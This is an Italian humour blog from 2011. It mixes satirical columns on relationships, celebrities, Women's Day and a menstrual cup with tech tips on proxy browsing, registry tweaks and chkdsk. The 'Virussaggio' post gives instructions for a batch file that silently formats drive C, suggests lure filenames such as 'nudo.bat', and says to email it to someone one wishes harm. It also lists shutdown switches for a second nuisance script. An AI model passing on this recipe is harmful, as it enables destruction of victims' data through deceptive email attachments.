cosi’…Chi?! Tizio? Ma peeeer carita’... una merda... brutto, isterico e ignorante come una capra zoppa. Se posso dirti anche ladro perfino. Non ne ho le prove ma mi sembra addirittura che mi abbia castigato 5 euro dal portafoglio….Ora riflettiamo. Qualche volta puo’ succedere. Che una si prenda una cantonata. Che sbagli a prendere le misure. Che immagini che una persona sia in un modo e invece e’ tutto in un altro. Ma non sempre. Non tutte le strasante volte, per la miseria. Se tutti, dopo un po’ che li frequenti, diventano dei mostri, il problema e’ un po’ tuo, miciogatta, che hai la psiche bucata e un ego elefantiaco. Gli uomini non sono mai fantastici o orribili. Sono quasi sempre a meta’. Con pregi e difetti. Alcuni con un carattere piu’ facile altri piu’ faticosi. Perche’? Tu? Wonder Woman? Sarai mica perfetta? Vedi cara, e’ difficile spiegare, e’ difficile capire, se non vedi la distanza che c’e’ tra i miei pensieri e i tuoi, cantava Guccini. Fa’ finta di non conoscerti. Non ti saluta nemmeno. Non ti caga insomma. Robe da chiodi. Anzi. Se tu un po’ mortificato gli fai notare chi sei, lei e’ facile che ti risponda….Ah si, ciao. Vabbuo’… Veniamo (stato a luogo) alla Seconda Categoria. Il camaleonte comune e facciamola breve altrimenti che pizza neh... Quello che un giorno fa’ lo splendido, ti abbraccia, ti fa’ dichiarazioni di stima incondizionata, ti promette amicizia eterna, ti racconta nel dettaglio ogni particolare della sua vita piu’ intima... e il giorno dopo? Sei zero…mai conosciuti.... E alla fine tu ti senti pazza e lui neanche un po’. Non lo scalfisci neanche.. Insomma in conclusione sai che la vita e’ spaziosa, ci puoi far stare dentro un sacco di roba. Ma i camaleonti no, lasciali perdere. I camaleonti bisogna tenerli fuori. Lasciarli sul loro ramo. A cambiare colore.

Mettere IP straniero

Cominciamo col dire che a volte ci rompono le palle veramente, in questi giorni ci bloccano su siti che gli Italici non devono vedere per motivi del menga e allora cerchiamo di farci furbi e di presentarci  IP straniero per vedere siti bloccati all’estero.  Come fare e' semplice, devi collegarti alla pagina principale di Fsurf e digitare l’indirizzo (URL) del sito Internet che risulta inaccessibile in Italia nel campo di testo che trovi sotto la voce Enter URL. Poi clicca sul pulsante Go e attendi qualche secondo sino a quando Fsurf si colleghera' all’indirizzo desiderato utilizzando un IP straniero, diciamo degli Stati Uniti per essere precisi. Dal momento in cui visualizzerai la pagina del sito bloccato in Italia (che non sara' piu' inaccessibile), potrai navigare normalmente in facendo tutte le operazioni che desideri, danni inclusi alla faccia di chi ci vuol male.

Beh..non riesci a visualizzare alcuni elementi delle pagine web visualizzate con Fsurf? Questo accade perche'il servizio blocca automaticamente gli script dei siti. Allora ricapitoliamo, se vuoi navigare con IP straniero per vedere siti bloccati all’estero senza avere gli script disabilitati, togli il segno di spunta collocato accanto alla voce Remove Scripts nella barra di Fsurf che si trova in cima alla pagina visualizzata e clicca sul pulsante Go.
Nel giro di qualche istante, la pagina sara' ricaricata e dovresti essere in grado di visualizzare anche quei contenuti (ad esempio i menu animati) che prima non risultavano visualizzabili.

Puoi regolare anche le altre impostazioni delle pagine Web da visitare con Fsurf cliccando sulla voce Options collocata accanto alla barra degli indirizzi nella home page del servizio. Ad es.. flagga accanto alle opzioni che desideri abilitare (Encode URL per cifrare l’indirizzo della pagina visitata, Allow Cookies per salvare i cookie, ecc.) e segui la procedura vista in precedenza per navigare con IP straniero e vedere siti bloccati all’estero avendo tutte le tue opzioni preferite abilitate. Umpfff..

Se sei un drago informatico, puoi anche regolare le impostazioni avanzate di navigazione con Fsurf (user agent, referrer, proxy da usare, ecc.) cliccando sulla voce Edit Browser collocata in basso a sinistra. Ecco come si possono abbattere le barriere, hai capito o te lo rispiego?


Velocizzate Windows 7

Sto provando Windows 7 ed e' rapido nell'apertura delle schermate  nella visualizzazione delle anteprime nella barra delle applicazioni, ma esiste un metodo per carburarlo ancora di piu' e funge ok, se volete provare

avviate l'editor del registro di configurazione e cuccate la chiave HKEY_CURRENT_USER\Control Panel\Desktop.
Cercate la stringa Menu-ShowDelay, apritela cliccandoci sopra due volte e modificate il valore a 100. Premete "Ok" per confermare.
Menu-ShowDelay
Fatto questo, spostatevi in corrispondenza della chiave HKEY_CURRENT_USER\Control Panel\Mouse e selezionate la stringa MouseHoverTime. Clickate due volte su di essa e modificate il valore a 50, confermando con "Ok".
Per rendere effettive queste modifiche, non vi rimane che riavviare il sistema e vedrete che sprintata, manco NemboKid riuscirebbe farla.

venerdì 11 marzo 2011

Virussaggio


Per far capire quanto e’ semplice e pericoloso leggere la posta, spiego come azzerare un computer formattandogli il disco C con poche manovre..
1) Apro il blocco note
2) scrivo   formatC: /autotest /q /u

Salvo con un nome accattivante secondo la persona a cui mandero’  la posta con estensione .bat
Ad es:
eccomi.bat
ilmiocane.bat
nudo.bat
e la invio a chi voglio male…
Per spiegare il /q (senza chiedere conferma) e il /u (non permettere di essere bloccato piu’ avanti)..
Chi lo ricevera’ si trovera’ il computer azzerato di tutto..
Se invece voglio sconnettere il suo PC riavviarlo per poi spegnerlo definitivamente, vado ancora nel blocco note inserisco il codice
shutdown -comando  e lo salvo in bat..al posto della parola comando mettero’:
a) -i : Attivo l’interfaccia utente grafica
b) -l : Disconnetto l’utente
c) -r : Riavvio il PC
d) -s : Spengo il computer
e) -t xx: xx Sarebbero i secondi di attesa prima della chiusura di Windows
f) -f : Chiudo le applicazioni ancora aperte

Semplice vero?

Apicella e Carla'



Darmagi (n.d.s. = disappunto in Piemontese). Annullato il concerto di Apicella. Pare che avesse venduto un solo biglietto. Guarda che uno e’ poco…sara’ stato quello di Berlu? No, perche’ gli avrebbe lasciato alla cassa un omaggio. Forse era di Carla’. La Bruni. Sai che sta per uscire un suo nuovo cd. Vogliamo fare la ola? Avremo altre 12 o 13 canzoni sublimi. Una pero’, la piu’ sublime, e’ gia’ in rete, o almeno, era in rete fino a qualche giorno fa perche’ purtroppo l'hanno tolta. Merita. Posso dire che merita. E' la versione in italiano di ..Douce France.., quella di Trenet. ’Sto poveretto e’ scoppiato giusto dieci anni fa, e per non lasciarlo riposare in santapace, la Bruniha pensato bene di massacrare una sua canzone. Voi la dovete ascoltare perche’ descrivere non si puo’. Tu l’ascolti e ti sale la pressione. Ti escon fuori i denti da caimano. L'impianto sonoro e’ quello classico di Carla’.. chitarrina spompa e vocina sifula. Ma piu’ sifula del normale suo. Sifulerrima. E pure il testo e’ un capolavoro, piega proprio le ossa, diciamo che lo stile e’ un po' quello dei grandi successi di Apicella. ..Dolce Francia,caro pa/ e’ se dell'infanzia, mi hai collata di speranza e ti ho presa nel mio cuor… .. Guardate, io l'ho ascoltata e riascoltata, e vi assicuro che dice cosi’…. mi hai collata di speranza. Forse ho capito male. Magari sara’ «colata»? Mi hai colata di speranza, nel senso che mi hai colato addosso secchiate di speranza?O vorra’ dire…  non stavo insieme e mi hai incollata di speranza. Mah.E poi, scusate, va bene che Trenet cantasse ..cher pays de mon enfance.., perche’ lui era francese. Ma la Bruni? Ma quale paese dell’infanzia, il suo paese dell'infanzia e’ Castagneto Po qui in collina, altro che dolce Francia. Comunque,poi continua .. Io ti amo, e ti dedico ’sto brano, io ti amo, nella gioia e nel dolor...Un verso di stampo scespiriano. Che costernazione suprema.
Altra bella novita’. E' uscito il calendario delle Barbie. Ma non un calendario normale. Il lesbo calendario della Barbie, della Barbie lesbica.. 12 mesi di foto di Barbie nude in pose provocanti. E a quelli della Mattel e’ gia’ partito il plafond. Loro la Barbie possono farla restare fidanzata per cinquant' anni con un uomo che dentro i pantaloni non ha assolutamente niente, ma se qualcuno, preso a pieta’, la mette in condizione di consolarsi con una consorella scagliano fulmini. Intanto tocca capire se esiste qualcuno, al mondo, che puo’ eccitarsi vedendo due Barbie accatastate una sull'altra. Gia’ una da sola, fa pensare a due bastoncini per il sushi con la parrucca… poi per carita’. Gli uomini sono perversi forte... Si eccitano guardando certe tette che sembrano espiantate da una muccafrisona, certo puo’ anche partire l'ormone con 2 Barbie che se le sfreghi una contro l'altra servono per accendere il fuoco… Certo perche’ non e’ che facciano grandi cose ’ste due. Con le mutande di plastica, le tette senza capezzoli e il culo senza chiappe le possibilita’ di fare sesso sono infime. E poi le pose son piuttosto assurde. D'altronde lo sanno tutti che le Barbie nascon gia’ con l'artrite e per loro gia’ piegare il ginocchio e’ un'impresa. Neanche un bacio si danno, e d'altra parte la lingua non ce l'hanno, il che fra l'altro per due che volessero darsi ad attivita’ lesbo e’ un deterrente non da poco. Ora aspettiamo con trepidazione il calendario dei Ken e Big Jim omosessuali. Tanto il walter non ce l'hanno, e pure loro potranno fare poco.


OPERA DEGRADATA – NESSUN DIRITTO
Come da Consulente Legale Informatico dell’Avv. Valentina Freudiani
LUCIANA LITTIZZETTO

Questo blog non rappresenta una testata giornalistica in quanto viene aggiornato a discrezione di togo29 e comunque non sistematicamente.
Non può quindi essere considerato un prodotto editoriale, ai sensi della legge 62 del 7/3/2001. Alcune immagini sono frutto di una ricerca attraverso la rete e/o prelevate da siti all'apparenza di pubblico dominio,ma se il loro uso violasse diritti d'autore, lo si comunichi all’autore del blog che provvedera’ alla loro pronta rimozione
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giovedì 10 marzo 2011

Il desk e' nero?

L'accensione del PC, Windows XP e' avvenuta  regolarmente ma dopo pochi istanti, il monitor diventa di un bel nero che piu' nero nn si puo' e se anche ripetete e' sempre nero?
Bueno.. significa che alcune porzioni del disco rigido sono andate dal culo e si sia  danneggiato il sistema operativo o qualche file.
Nessun problema voi ora riavviate il computer attraverso il supporto di installazione di Windows, caricate quindi la "Console di ripristino" premendo il tasto R quando richiesto e poi, dal prompt dei comandi, digitate la stringa chkdsk /o /r seguita da "Invio".
Console di ripristino
Ora restate in attesa speranzosi in quanto la procedura di riparazione potrebbe richiedere molti minuti e incrociate le dita..anche stavolta e' andata.

sabato 5 marzo 2011

Women's Day


due-di-agosto.jpg
Ehi martedi’ e’ l’otto marzo. Auguri Megere. Avete un giorno all’anno per festeggiarvi. Che dite? Cosaaaa? Che sara’ un po’ pochino? Volete chiedere anche il noveee. E magari pure il dieci… Una bella festa del 10 marzo e lode. Che giornata…non saprete piu’ dove ficcare le mimose. Ve le regaleranno tutti.. panettiere, lattaio, giornalaio, verduriere. Tutti tranne esso ovviamente, il vostro minus habens, che non ha avuto il tempo della ricerca. Lui non ha mai tempo vero? Ma non importa dai. L’amore non si conta mica in palline di mimosa. Ci vuole ben altro. Scommetto che state pensando “APPENDIMI QUELLA MENSOLA, SON SEI MESI CHE TE LO CHIEDO, PISTOLA DA SBARCO” Convincetevi maschi. Ad esse non interessa piu’ l’uomo bello, intelligente o ricco. Vogliono quello che sappia usare il trapano. Ma non il trapano in senso metaforico e metadentrico. Proprio quello con le punte di ferro comprate da Rogger. Un uomo primitivo che costruisca la capanna per la sua femmina che altro non fa che aspettarlo in una cavernetta con la clava in mano. Invece devono fare i conti con dei maestri bricoleur del borgo che fanno piu’ danni della grandine del mese di luglio di Casalbordino. Con i vostri hombre la certezza ce l’avete no?. Tutto quel che toccano scassano e quando smontano qualcosa avanzano pezzi da fare una mountanbike. Se pretendete dai vostri loro di piantare un chiodo state pur certe che non fanno un buco. Scavano proprio la galleria del Frejus quella immortalata in p.zza Statuto, l’ingresso dell’inferno. E in molto meno tempo, per altro. Cambiano la lampadina e spaccano il lampadario, prendendo anche una sberla di corrente. Spostano la cassapanca e si fanno scendere l’ernia. Schiacciano una mosca e macchiano il muro, provano a ripulirlo? Lo rimacchiano. Ma di piu’. E allora, siccome sono geni, per coprire il casino combinato, ci appendono sopra un bel quadro. Peccato solo  che una natura morta a 15 cm da terra dia un poco nell’occhio. La lavatrice perde l’acqua? E che problema ci sta’? ghe pensi mi’ dice l’ometto maschio. In primis  si cucca una scossa da 220 che gli ravviva la permanente e gli scuote il padiglione auricolare, poi va di cacciaviti e svitol e te la smontano tutta. E alla fine non sa piu’ rimontarla. Ghe minga de prublem (non ci sono problemi). E’ tutta colpa di quella vite che manca. Si smonta la radiosveglia, che pero’ funziona, per recuperare quella vite indispensabile. Cosi’ e’ tutto demolito..Lavatrice e radiosveglia. Un danno via l’altro come fa la valanga con le baite in montagna. Ma i maschi non fanno un pieghino. Si credono maghi della sega (nel senso attrezzo) e pontefici del bullone. L’unica in questi casi e’ distrarli. Magari col Lego. O coi cestini di pongo del dido’. Auguri donne per l’otto di marzo e ci siamo sputannati da soli senza che ce lo diciate voi, ma siete sicure di diventare come i maschietti ed ottenere l’uguaglianza per poter pisciare sui muri? E vaiiii con ste mimose e mi sorge una domanda..ma lo sapete quando e’ la festa degli uomini? Ve lo dico me..e’ il due di agosto e sapete che in molte zone dell’arco alpino si festeggia la festa dei genitali e quindi anche chi li porta appresso. Si dice che risale all’epoca di napoleone questa usanza, quando i soldati indossavano pantaloni attillatissimi i classici fuseaux e dovevano per motivi di ordine visivo, metterli a sinistra alias les deux a gauche che col tempo e’ diventato les deux a aout ovvero il due di agosto…che mente sono…. vero? Diabolico perfino..Pero’ questa assonanza non mi convince e nella zona di Torino si usa dire il motto “le due palle di augusto” per dare dell’incredibile a un fatto che ascoltiamo, poiche’ l’Augusto citato altro non e’ che Caio Giulio Cesare Ottaviano Augusto, che sarebbe il primo imperatore romano vissuto attorno all’anno zero e quindi potrebbe essere collegata questa festa all’Impero Romano, e ad ogni modo, che sia l’Impero romano, che sia l’epoca di Napoleone.. noi maschietti o preudo tali.. vogliamo al due d’agosto un bel festeggiamento ma senza mimosa ovviamente e al solo pensiero mi do una bella grattata scaramantica per par condicio. Auguri donne eccovi la mimosa…

venerdì 4 marzo 2011

Moon Cup






Notizia toda gioia toda bellezza. Novita’ nel campo degli attrezzi femminili. Diciamo subito che e’ una cosa per donne… Si chiama Moon cup. Traduco.. Moon luna, cup tazza. La coppetta della luna. A meno che Mon non sia come dicono Jolanda in veneto. E dove si mette la Moon cup? Ti ricordi il caffe’? E’ buono qui e buono qui. Ecco questa e’ solo buona qui. Sulla squisitissima eminenza la jole. Dunque. Per le portatrici sane di jolanda hanno inventato un aggeggio per salvaguardare l'ambiente. Uno strumento ecologico che rispetta la natura. Che si puo’ oltretutto riutilizzare di volta in volta. E' praticamente un bicchierino di silicone, che tu pieghi come un origami e metti dentro, sistemi nell'apposita cassettiera. E quando si usa? Le donne lo possono usare una volta al mese. Per cinque giorni. E chi ha orecchie per intendere intenda. E' chiaro? Serve per fare paracadutismo e la ruota anche nei giorni in cui cambiamo l’uovo. Sono stata abbastanza soft nella descrizione? Insomma. Da usare come alternativa agli assorbenti con le ali, l'elica e le lame rotanti. Pare che un sacco di donne la stiano sperimentando e si trovino benissimo. Basta solo prendere un po’ dimestichezza con l'attrezzo e poi e’ tutto in discesa. Dicono anche che sia molto comoda. Allora.
Adesso per carita’. Va bene tutto. Dimmi che e’ ecologica, che e’ igienica, dimmi che rispetta l'ambiente… ma comoda? Comoda? Comode sono le calze a pantofola, comodo il parcheggio in piazza Castello, comoda la centrifuga per l'insalata, i bastoncini di pesce, che li butti in padella e via. Ma la coppetta della luna? Come si fa a dire che ’sto copri-spinterogeno è comodo? Sara’ utile, ma comodo non penso. Mi sembra un po’ come quelle che si inerpicano su tacchi da 12 beccheggiando come catamarani e poi dicono che sono comodissimi. No, dico, per me puoi anche infilarti un flute di quelli da champagne, anche un boccale della birra, un calice di quelli a pancia per il cognac, ma che sia comoda e’ un altro par di maniche. E' vero che li’ dentro ci facciamo star di tutto, dai walter ai bambini, pero’ una micro teglia per la torta… Poi devi camminare come a capodanno quando porti il pentolone con le lenticchie dai parenti? Che stai tutto rigido per non farlo rovesciare, poi lo metti in macchina per terra, parti, e alla prima frenata e’ uno tzunami di lenticchie che arriva fino al vetro davanti?
Scusa magari sei sul pullman… quello frena e opp… dai il giro… o l'amica che ti arriva da dietro, pacca sulla spalla… Pam… E tu strabordi come il latte sul fuoco… Poi devi avere anche dimestichezza… non e’ come mettersi un dito nel naso, che la traiettoria e’ quella non ti puoi sbagliare… li vai un po' a caso, random… devi fare un po' come la sogliola quando si sistema sotto la sabbia… che si assesta pian pianino… come quando cerchi il campo col telefonino, che ti sposti di un pelo a sinistra e destra… e sai chi l'ha inventato? Un uomo. Di sicuro. Ispirandosi al meccanico quando svuota la coppa dell'olio.

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giovedì 3 marzo 2011

L'auto maledetta..




A volte si dice che certe cose portano sfiga a chi le possiede e stavolta parliamo dell’auto di James Dean..Lui la battezzo’ “Little Bastard”, piccola bastarda e forse non aveva tutti i torti. Sulla Porsche Spider 550 l’attore ci lascio’ le penne il 30 settembre del 1955 e, dopo la sua morte, l’auto non ha portato altro che sfiga a chiunque si avvicinasse. Cominciamo con l’elenco che e’ degno di un copione da romanzo mozzafiato stile Stephen King come in “Christine”. Dopo la morte di James la macchina fu acquistata da George Barris, famoso in tutto il mondo per le sue incredibili creazioni di effetti cinematografici. Alloora..mentre veniva rimorchiata da un camion si sgancio’ dai sostegni e spezzo’ una gamba ad un meccanico.. e non e’ che l’inizio perche’in seguito il motore della Piccola bastarda fu venduto ad un medico, pilota dilettante, che lo installo’ sulla sua auto da corsa. Durante una competizione il medico perso il controllo dell’autovettura, investi’ ed uccise uno degli addetti al controllo della gara. Il medico rimase gravemente ferito. Continuiamo con un altro pilota che aveva montato sulla sua auto un semiasse proveniente sempre dalla Little Bastard ed ebbe un gravissimo incidente stradale. Poi un altro corridore utilizzo’ i suoi copertoni e rischio’ di morire causa esplosione di uno degli stessi.
Insomma tra verita’ e leggenda, sempre legate alle parti del motore della Porsche, si sono verificate altri strani incidenti. I veri episodi possono essere verificati solo tramite i giornali dell’epoca ed e’ trascorso oltre mezzo secolo ma la scia delle disgrazie non finisce qui ovviamente. Mentre i pezzi del motore distribuiti tra diversi piloti continuavano a provocare morti e disgrazie, il corpo principale dell’auto “maledetta” la scocca, era nel deposito di Barris. Qualcuno racconta che un ragazzino che si intrufolo’ all’interno dell’auto per rubare un pezzo come ricordo e si taglio’ un braccio sul telaio in un modo talmente grave che i medici furono costretti ad amputargli l’arto.
Ed ancora. La carrozzeria ed il telaio del Porsche, nonostante che fossero solo rottami, furono utilizzati in una mostra viaggiante per una campagna sociale contro la velocita’, per la sicurezza sulla strada a Los Angeles e in tutti gli Stati Uniti. Pagando 50 centesimi i visitatori potevano sedere al posto di guida e leggere una targa sulla quale era scritto “Questo incidente poteva essere evitato”. Una iniziativa meritoria , ma che presto si trasformò in un cerchio vizioso di “strani” incidenti. A Sacramento il telaio dell’auto senza alcun preavviso si stacco’ fracassando l’anca di un visitatore.
Alla tappa successiva della mostra il camion che trasportava i rottami contorti della Piccola bastarda fu tamponato violentemente. Nell’urto i portelloni si aprirono e l’auto slitto’ all’esterno travolgendo ed uccidendo un uomo a bordo di un’ altra auto che viaggiava dietro l’autoarticolato. Giunto nell’Oregon il freno a mano del camion si ruppe all’improvviso e il mezzo frantumo’ una enorme vetrina di un vicino negozio. Ultimo episodio: a New Orleans, senza alcuna causa apparente la Porsche si distrusse in 11 pezzi per l’incredibile cedimento dei sostegni della pedana sulla quale era poggiata. Agli organizzatori della mostra itinerante comincio a bruciarre il culo e quindi decisero di togliersi dalle palle i rottami e li rispedirono a Los Angeles. La Bastarda fu caricata su di un treno, ma non e’ mai arrivata a destinazione. Svanita nel nulla. Puff…Per ritrovarla furono ingaggiati investigatori privati e fu promessa una taglia di un milione di dollari. Nada ..zero di negativo. “Little Bastard” non c’e’ piu’, come il suo biondo ed inquietante padrone, il mito, il ribelle, il sogno americano della gioventu’ bruciata, lui, James Dean.